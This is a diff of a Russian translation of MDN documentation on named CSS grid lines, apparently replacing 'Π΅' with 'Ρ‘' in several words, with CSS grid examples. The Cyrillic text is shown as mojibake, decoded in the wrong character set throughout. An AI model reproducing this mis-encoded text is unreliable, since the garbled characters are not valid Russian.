-<p>Π Π°Π½Π΅Π΅ ΡƒΠΆΠ΅ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ для Π»ΠΈΠ½ΠΈΠΉ Π»ΡŽΠ±Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π°. Π’Π°ΠΊΠΎΠ΅ имя являСтся <a href="https://drafts.csswg.org/css-values-4/#custom-idents">custom ident</a>Β - ΠΈΠΌΠ΅Π½Π΅ΠΌ, опрСдСляСмым Π°Π²Ρ‚ΠΎΡ€ΠΎΠΌ. ΠŸΡ€ΠΈ Π²Ρ‹Π±ΠΎΡ€Π΅ ΠΈΠΌΠ΅Π½ΠΈ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ слов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² спСцификации, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Π΅ - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>span</code>. Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹ Π½Π΅ Π·Π°ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ΡΡ Π² ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ.</p>
+<p>Π Π°Π½Π΅Π΅ ΡƒΠΆΠ΅ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ для Π»ΠΈΠ½ΠΈΠΉ Π»ΡŽΠ±Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π°. Π’Π°ΠΊΠΎΠ΅ имя являСтся <a href="https://drafts.csswg.org/css-values-4/#custom-idents">custom ident</a>Β - ΠΈΠΌΠ΅Π½Π΅ΠΌ, опрСдСляСмым Π°Π²Ρ‚ΠΎΡ€ΠΎΠΌ. ΠŸΡ€ΠΈ Π²Ρ‹Π±ΠΎΡ€Π΅ ΠΈΠΌΠ΅Π½ΠΈ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ слов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² спСцификации, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Π΅ - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>span</code>. Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹ Π½Π΅ Π·Π°ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ΡΡ Π² ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ.</p>
-<p>Π₯отя Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π°, Π½ΠΎ Ссли Π²Ρ‹ добавляСтС <code>-start</code> ΠΈ <code>-end</code> ΠΊ линиям Π²ΠΎΠΊΡ€ΡƒΠ³ области, ΠΊΠ°ΠΊ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Ρ‚ΠΎ сСтка создаст Π²Π°ΠΌ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ основного ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ. Π’ΠΎΠ·ΡŒΠΌΠ΅ΠΌ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρƒ мСня Π΅ΡΡ‚ΡŒΒ <code>content-start</code>Β ΠΈΒ <code>content-end</code> ΠΊΠ°ΠΊ для строк, Ρ‚Π°ΠΊ ΠΈ для столбцов. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ создана Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ сСтки с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>content</code>, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎ своСму ΡƒΡΠΌΠΎΡ‚Ρ€Π΅Π½ΠΈΡŽ.</p>
+<p>Π₯отя Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π°, Π½ΠΎ Ссли Π²Ρ‹ добавляСтС <code>-start</code> ΠΈ <code>-end</code> ΠΊ линиям Π²ΠΎΠΊΡ€ΡƒΠ³ области, ΠΊΠ°ΠΊ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Ρ‚ΠΎ сСтка создаст Π²Π°ΠΌ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ основного ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ. Π’ΠΎΠ·ΡŒΠΌΡ‘ΠΌ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρƒ мСня Π΅ΡΡ‚ΡŒΒ <code>content-start</code>Β ΠΈΒ <code>content-end</code> ΠΊΠ°ΠΊ для строк, Ρ‚Π°ΠΊ ΠΈ для столбцов. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ создана Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ сСтки с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>content</code>, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎ своСму ΡƒΡΠΌΠΎΡ‚Ρ€Π΅Π½ΠΈΡŽ.</p>
<div id="implicit_areas_from_lines">
<div class="hidden">
@@ -131,7 +131,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
<h2 id="НСявныС_Π»ΠΈΠ½ΠΈΠΈ_сСтки_ΠΈΠ·_ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ…_областСй">НСявныС Π»ΠΈΠ½ΠΈΠΈ сСтки ΠΈΠ· ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… областСй</h2>
-<p>ΠœΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ, ΠΊΠ°ΠΊ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ…Β Π»ΠΈΠ½ΠΈΠΉΒ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒΒ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ.Β Π­Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚. Π˜ΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Π΅ области ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Π΅ строки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для размСщСния элСмСнтов. Если ΠΌΡ‹ возьмСм ΠΌΠ°ΠΊΠ΅Ρ‚, созданный Π² руководствС ΠΏΠΎ областям шаблона сСтки, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΠΈΠ½ΠΈΠΈ, созданныС нашими областями, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚.</p>
+<p>ΠœΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ, ΠΊΠ°ΠΊ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ…Β Π»ΠΈΠ½ΠΈΠΉΒ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒΒ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ.Β Π­Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚. Π˜ΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Π΅ области ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Π΅ строки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для размСщСния элСмСнтов. Если ΠΌΡ‹ Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ ΠΌΠ°ΠΊΠ΅Ρ‚, созданный Π² руководствС ΠΏΠΎ областям шаблона сСтки, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΠΈΠ½ΠΈΠΈ, созданныС нашими областями, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚.</p>
<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ я Π΄ΠΎΠ±Π°Π²ΠΈΠ» Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ div с классом <code>overlay</code>. ΠœΡ‹ Π½Π°Π·Π²Π°Π»ΠΈ области, созданныС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства grid-area, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΌΠ°ΠΊΠ΅Ρ‚, созданный Π² grid-template-areas. Π˜ΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Π΅ области:</p>
@@ -232,7 +232,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
<p>Учитывая, Ρ‡Ρ‚ΠΎ Ρƒ нас Π΅ΡΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ созданиС Π»ΠΈΠ½ΠΈΠΉ ΠΈΠ· ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… областСй ΠΈ областСй ΠΈΠ· ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π»ΠΈΠ½ΠΈΠΉ, стоит ΠΏΠΎΡ‚Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ врСмя на ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ стратСгии имСнования, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ свой ΠΌΠ°ΠΊΠ΅Ρ‚. Π’Ρ‹Π±ΠΈΡ€Π°ΠΉΡ‚Π΅Β ΠΈΠΌΠ΅Π½Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ смысл для вас ΠΈ вашСй ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, это ΠΎΠ±Π»Π΅Π³Ρ‡ΠΈΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΠ΅Β ΡΠΎΠ·Π΄Π°Π½Π½Ρ‹Ρ…Β Π²Π°ΠΌΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ².</p>
-<h2 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_ΠΎΠ΄Π½ΠΎΠΈΠΌΠ΅Π½Π½Ρ‹Ρ…_Π»ΠΈΠ½ΠΈΠΉ_ΠΏΡ€ΠΈ_ΠΏΠΎΠΌΠΎΡ‰ΠΈ_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ_repeat">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΎΠ΄Π½ΠΎΠΈΠΌΠ΅Π½Π½Ρ‹Ρ… Π»ΠΈΠ½ΠΈΠΉ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ repeat()</h2>
+<h2 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_ΠΎΠ΄Π½ΠΎΠΈΠΌΡ‘Π½Π½Ρ‹Ρ…_Π»ΠΈΠ½ΠΈΠΉ_ΠΏΡ€ΠΈ_ΠΏΠΎΠΌΠΎΡ‰ΠΈ_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ_repeat">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΎΠ΄Π½ΠΎΠΈΠΌΡ‘Π½Π½Ρ‹Ρ… Π»ΠΈΠ½ΠΈΠΉ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ repeat()</h2>
<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄Π°Ρ‚ΡŒ всСм линиям Π² вашСй сСткС ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ имя, Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π΄Π»ΠΈΠ½Π½ΠΎΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ‚Ρ€Π΅ΠΊΠ°, Π° Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ синтаксис ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π°, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ имя Π² ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Ρ… скобках ΠΏΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ Ρ‚Ρ€Π΅ΠΊΠΎΠ². Если Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ синтаксис ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π°, Ρ‚ΠΎ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ нСсколько строк с ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΠΎΠ΄Π½Π°ΠΊΠΎ это Ρ‚ΠΎΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ.</p>
@@ -272,7 +272,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
}
</pre>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>span</code>.Β Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ располоТСн начиная с сСдьмой Π»ΠΈΠ½ΠΈΠΈ ΠΈ Π·Π°ΠΉΠΌΠ΅Ρ‚ Ρ‚Ρ€ΠΈ Π»ΠΈΠ½ΠΈΠΈ.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>span</code>.Β Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ располоТСн начиная с сСдьмой Π»ΠΈΠ½ΠΈΠΈ ΠΈ Π·Π°ΠΉΠΌΡ‘Ρ‚ Ρ‚Ρ€ΠΈ Π»ΠΈΠ½ΠΈΠΈ.</p>
<pre class="brush: css">.item2 {
grid-column: col-start 7 / span 3;
@@ -293,14 +293,14 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
<p><img alt="The 12 column grid with items placed. The Grid Highlighter shows the position of the lines." src="https://mdn.mozillademos.org/files/14695/5_named_lines1.png" style="height: 156px; width: 1958px;"></p>
-<p>Бинтаксис ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ‚Ρ€Π΅ΠΊ-лист , это Π½Π΅ просто Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚Ρ€Π΅ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ повторяСтся. ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ создаст сСтку ΠΈΠ· восьми Π΄ΠΎΡ€ΠΎΠΆΠ΅ΠΊ с Π±ΠΎΠ»Π΅Π΅ ΡƒΠ·ΠΊΠΈΠΌ столбцом ΡˆΠΈΡ€ΠΈΠ½Ρ‹ 1fr с ΠΈΠΌΠ΅Π½Π΅ΠΌ col1-start ΠΈ Π±ΠΎΠ»Π΅Π΅ ΡˆΠΈΡ€ΠΎΠΊΠΈΠΌ столбцом 3fr с ΠΈΠΌΠ΅Π½Π΅ΠΌ col2-start.</p>
+<p>Бинтаксис ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ‚Ρ€Π΅ΠΊ-лист , это Π½Π΅ просто Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚Ρ€Π΅ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ повторяСтся. ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ создаст сСтку ΠΈΠ· восьми Π΄ΠΎΡ€ΠΎΠΆΠ΅ΠΊ с Π±ΠΎΠ»Π΅Π΅ ΡƒΠ·ΠΊΠΈΠΌ столбцом ΡˆΠΈΡ€ΠΈΠ½Ρ‹ 1fr с ΠΈΠΌΠ΅Π½Π΅ΠΌ col1-start ΠΈ Π±ΠΎΠ»Π΅Π΅ ΡˆΠΈΡ€ΠΎΠΊΠΈΠΌ столбцом 3fr с ΠΈΠΌΠ΅Π½Π΅ΠΌ col2-start.</p>
<pre class="brush: css">.wrapper {
grid-template-columns: repeat(4, [col1-start] 1fr [col2-start] 3fr);
}
</pre>
-<p>Если Π’Π°Ρˆ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠΉΡΡ синтаксис ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚ Π΄Π²Π΅ строки рядом Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ, Ρ‚ΠΎ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Π΅Π½Ρ‹ ΠΈ создадут Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈ присвоСниС строкС Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΈΠΌΠ΅Π½ Π² Π½Π΅ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰Π΅ΠΌΡΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ Ρ‚Ρ€Π΅ΠΊΠ°. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ создаСт Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Ρ‚Ρ€Π΅ΠΊΠ° 1fr, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ Π»ΠΈΠ½ΠΈΠΈ.</p>
+<p>Если Π’Π°Ρˆ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠΉΡΡ синтаксис ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚ Π΄Π²Π΅ строки рядом Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ, Ρ‚ΠΎ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Π΅Π½Ρ‹ ΠΈ создадут Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈ присвоСниС строкС Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΈΠΌΡ‘Π½ Π² Π½Π΅ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰Π΅ΠΌΡΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ Ρ‚Ρ€Π΅ΠΊΠ°. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ создаёт Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Ρ‚Ρ€Π΅ΠΊΠ° 1fr, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ Π»ΠΈΠ½ΠΈΠΈ.</p>
<pre class="brush: css">.wrapper {
grid-template-columns: repeat(4, [col-start] 1fr [col-end] );
@@ -314,7 +314,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
}
</pre>
-<p>Если Π²Ρ‹ использовали список Ρ‚Ρ€Π΅ΠΊΠΎΠ², Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>span</code>Β Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΡ…Π²Π°Ρ‚Π° ряда строк, Π½ΠΎ ΠΈ для ΠΎΡ…Π²Π°Ρ‚Π° ряда строк с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ..</p>
+<p>Если Π²Ρ‹ использовали список Ρ‚Ρ€Π΅ΠΊΠΎΠ², Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>span</code>Β Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΡ…Π²Π°Ρ‚Π° ряда строк, Π½ΠΎ ΠΈ для ΠΎΡ…Π²Π°Ρ‚Π° ряда строк с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ..</p>
<div id="span_line_number">
<div class="hidden">
@@ -360,7 +360,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
<p>{{ EmbedLiveSample('span_line_number', '500', '330') }}</p>
</div>
